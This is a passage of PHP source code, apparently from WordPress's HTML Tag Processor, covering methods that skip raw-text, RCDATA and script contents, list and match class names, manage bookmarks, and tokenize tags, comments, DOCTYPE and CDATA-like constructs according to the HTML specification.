			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
